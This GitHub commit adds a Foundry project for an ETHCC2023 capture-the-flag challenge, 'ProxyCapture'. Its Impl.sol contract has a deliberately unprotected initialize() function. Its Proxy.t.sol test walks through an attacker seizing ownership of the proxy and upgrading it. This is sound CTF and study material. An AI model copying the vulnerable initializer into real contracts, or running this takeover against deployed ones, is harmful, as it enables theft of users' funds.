-
Notifications
You must be signed in to change notification settings - Fork 115
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
ad4279f
commit e0ae200
Showing
12 changed files
with
349 additions
and
6 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
# Compiler files | ||
cache/ | ||
out/ | ||
|
||
# Ignores development broadcast logs | ||
!/broadcast | ||
/broadcast/*/31337/ | ||
/broadcast/**/dry-run/ | ||
|
||
# Docs | ||
docs/ | ||
|
||
# Dotenv file | ||
.env |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,66 @@ | ||
## Foundry | ||
|
||
**Foundry is a blazing fast, portable and modular toolkit for Ethereum application development written in Rust.** | ||
|
||
Foundry consists of: | ||
|
||
- **Forge**: Ethereum testing framework (like Truffle, Hardhat and DappTools). | ||
- **Cast**: Swiss army knife for interacting with EVM smart contracts, sending transactions and getting chain data. | ||
- **Anvil**: Local Ethereum node, akin to Ganache, Hardhat Network. | ||
- **Chisel**: Fast, utilitarian, and verbose solidity REPL. | ||
|
||
## Documentation | ||
|
||
https://book.getfoundry.sh/ | ||
|
||
## Usage | ||
|
||
### Build | ||
|
||
```shell | ||
$ forge build | ||
``` | ||
|
||
### Test | ||
|
||
```shell | ||
$ forge test | ||
``` | ||
|
||
### Format | ||
|
||
```shell | ||
$ forge fmt | ||
``` | ||
|
||
### Gas Snapshots | ||
|
||
```shell | ||
$ forge snapshot | ||
``` | ||
|
||
### Anvil | ||
|
||
```shell | ||
$ anvil | ||
``` | ||
|
||
### Deploy | ||
|
||
```shell | ||
$ forge script script/Counter.s.sol:CounterScript --rpc-url <your_rpc_url> --private-key <your_private_key> | ||
``` | ||
|
||
### Cast | ||
|
||
```shell | ||
$ cast <subcommand> | ||
``` | ||
|
||
### Help | ||
|
||
```shell | ||
$ forge --help | ||
$ anvil --help | ||
$ cast --help | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,6 @@ | ||
[profile.default] | ||
src = "src" | ||
out = "out" | ||
libs = ["lib"] | ||
|
||
# See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options |
12 changes: 12 additions & 0 deletions
12
Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/script/Counter.s.sol
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
// SPDX-License-Identifier: UNLICENSED | ||
pragma solidity ^0.8.13; | ||
|
||
import {Script, console} from "forge-std/Script.sol"; | ||
|
||
contract CounterScript is Script { | ||
function setUp() public {} | ||
|
||
function run() public { | ||
vm.broadcast(); | ||
} | ||
} |
12 changes: 12 additions & 0 deletions
12
Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/src/DasProxy.sol
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
// SPDX-License-Identifier: UNLICENSED | ||
pragma solidity ^0.8.13; | ||
|
||
import "openzeppelin-contracts/contracts/proxy/ERC1967/ERC1967Proxy.sol"; | ||
|
||
// code borrowed from repo with proxies & tests implemented in forge https://github.com/FredCoen/Proxy_implementations_with_forge | ||
|
||
contract DasProxy is ERC1967Proxy { | ||
constructor(address _implementation, bytes memory _data) | ||
ERC1967Proxy(_implementation, _data) | ||
{} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,56 @@ | ||
// SPDX-License-Identifier: UNLICENSED | ||
pragma solidity ^0.8.13; | ||
|
||
import "openzeppelin-contracts/contracts/proxy/utils/UUPSUpgradeable.sol"; | ||
import "openzeppelin-contracts/contracts/access/Ownable.sol"; | ||
|
||
contract Impl is UUPSUpgradeable, Ownable { | ||
mapping(address => uint256) public balances; | ||
mapping(address => uint256) public withdrawals; | ||
mapping(address => bool) public whitelistedUsers; | ||
|
||
constructor() Ownable(msg.sender) {} | ||
|
||
function initialize(address owner) public payable { | ||
require(owner == address(0), "!initialize"); | ||
owner = _msgSender(); | ||
require(msg.value >= 0.1 ether, "!ether"); | ||
balances[_msgSender()] += msg.value; | ||
_transferOwnership(owner); | ||
} | ||
|
||
function deposit() public payable { | ||
require(whitelistedUsers[_msgSender()], "!whitelisted"); | ||
balances[_msgSender()] += msg.value; | ||
} | ||
|
||
function withdraw(uint256 amount) public { | ||
address sender = _msgSender(); | ||
require(whitelistedUsers[sender], "!whitelisted"); | ||
require(balances[sender] >= amount, "!balance"); | ||
balances[sender] -= amount; | ||
payable(sender).transfer(amount); | ||
withdrawals[sender] += amount; | ||
} | ||
|
||
function getBalance() public view returns (uint256) { | ||
return balances[_msgSender()]; | ||
} | ||
|
||
function getWithdrawals() public view returns (uint256) { | ||
return withdrawals[_msgSender()]; | ||
} | ||
|
||
function whitelistUser(address user) public onlyOwner { | ||
whitelistedUsers[user] = true; | ||
} | ||
|
||
function removeUser(address user) public onlyOwner { | ||
whitelistedUsers[user] = false; | ||
} | ||
|
||
function _authorizeUpgrade(address) internal override onlyOwner { | ||
require(withdrawals[_msgSender()] > 1, "!withdraw"); | ||
require(whitelistedUsers[_msgSender()], "!whitelisted"); | ||
} | ||
} |
119 changes: 119 additions & 0 deletions
119
Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/test/Proxy.t.sol
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,119 @@ | ||
// SPDX-License-Identifier: UNLICENSED | ||
pragma solidity ^0.8.13; | ||
|
||
import "forge-std/Test.sol"; | ||
|
||
import {DasProxy} from "../src/DasProxy.sol"; | ||
import {Impl} from "../src/Impl.sol"; | ||
import {TakeOwnership} from "./TakeOwnership.sol"; | ||
|
||
contract ProxyTest is Test { | ||
DasProxy public proxy; | ||
Impl public impl; | ||
|
||
address public user = address(123); | ||
address public attacker = address(456); | ||
|
||
function setUp() public { | ||
vm.prank(user); | ||
impl = new Impl(); | ||
vm.prank(user); | ||
proxy = new DasProxy(address(impl), ""); | ||
deal(user, 1 ether); | ||
deal(address(this), 1 ether); | ||
deal(attacker, 1 ether); | ||
} | ||
|
||
function testProxyIsNotInitialized() public { | ||
(bool validResponse, bytes memory returnedData) = address(proxy).call( | ||
abi.encodeWithSignature("owner()") | ||
); | ||
assertTrue(validResponse); | ||
address owner = abi.decode(returnedData, (address)); | ||
|
||
assertEq(owner, address(0), "!owner"); | ||
assertEq(impl.owner(), user, "!owner"); | ||
} | ||
|
||
function testTaskFlow() public { | ||
(bool validResponse, bytes memory returnedData) = address(proxy).call{value: 0.1 ether}( | ||
abi.encodeWithSignature("initialize(address)", address(0)) | ||
); | ||
assertTrue(validResponse); | ||
(validResponse, returnedData) = address(proxy).call( | ||
abi.encodeWithSignature("owner()") | ||
); | ||
assertTrue(validResponse); | ||
address owner = abi.decode(returnedData, (address)); | ||
assertEq(owner, address(this)); | ||
|
||
// attacker can call initialize | ||
vm.prank(attacker); | ||
(validResponse, returnedData) = address(proxy).call{value: 0.1 ether}( | ||
abi.encodeWithSignature("initialize(address)", address(0)) | ||
); | ||
assertTrue(validResponse); | ||
(validResponse, returnedData) = address(proxy).call( | ||
abi.encodeWithSignature("owner()") | ||
); | ||
assertTrue(validResponse); | ||
owner = abi.decode(returnedData, (address)); | ||
assertEq(owner, attacker); | ||
|
||
// attacker can call upgrade | ||
vm.prank(attacker); | ||
TakeOwnership takeOwnership = new TakeOwnership(); | ||
|
||
// cannot update without withdrawing funds | ||
vm.prank(attacker); | ||
vm.expectRevert(bytes("!withdraw")); | ||
(validResponse, returnedData) = address(proxy).call( | ||
abi.encodeWithSignature("upgradeTo(address)", address(takeOwnership)) | ||
); | ||
|
||
// cannot update without whitelisting | ||
vm.prank(attacker); | ||
vm.expectRevert(bytes("!whitelisted")); | ||
(validResponse, returnedData) = address(proxy).call( | ||
abi.encodeWithSignature("upgradeTo(address)", address(0)) | ||
); | ||
|
||
// whitelist owner | ||
vm.prank(attacker); | ||
(validResponse, returnedData) = address(proxy).call( | ||
abi.encodeWithSignature("whitelistUser(address)", attacker) | ||
); | ||
|
||
// cannot update without withdrawing funds | ||
vm.prank(attacker); | ||
(validResponse, returnedData) = address(proxy).call( | ||
abi.encodeWithSignature("withdraw(uint256)", 2) | ||
); | ||
|
||
// upgrade proxy | ||
vm.prank(attacker); | ||
(validResponse, returnedData) = address(proxy).call( | ||
abi.encodeWithSignature("upgradeTo(address)", address(takeOwnership)) | ||
); | ||
assertTrue(validResponse); | ||
|
||
// cannot initalize | ||
(validResponse, returnedData) = address(proxy).call( | ||
abi.encodeWithSignature("initialize(address)", address(0)) | ||
); | ||
assertFalse(validResponse); | ||
(validResponse, returnedData) = address(proxy).call( | ||
abi.encodeWithSignature("owner()") | ||
); | ||
assertTrue(validResponse); | ||
owner = abi.decode(returnedData, (address)); | ||
// owner is still attacker | ||
assertEq(owner, attacker); | ||
|
||
// cannot upgrade proxy impl | ||
(validResponse, returnedData) = address(proxy).call( | ||
abi.encodeWithSignature("upgradeTo(address)", address(impl)) | ||
); | ||
assertFalse(validResponse); | ||
} | ||
} |
Oops, something went wrong.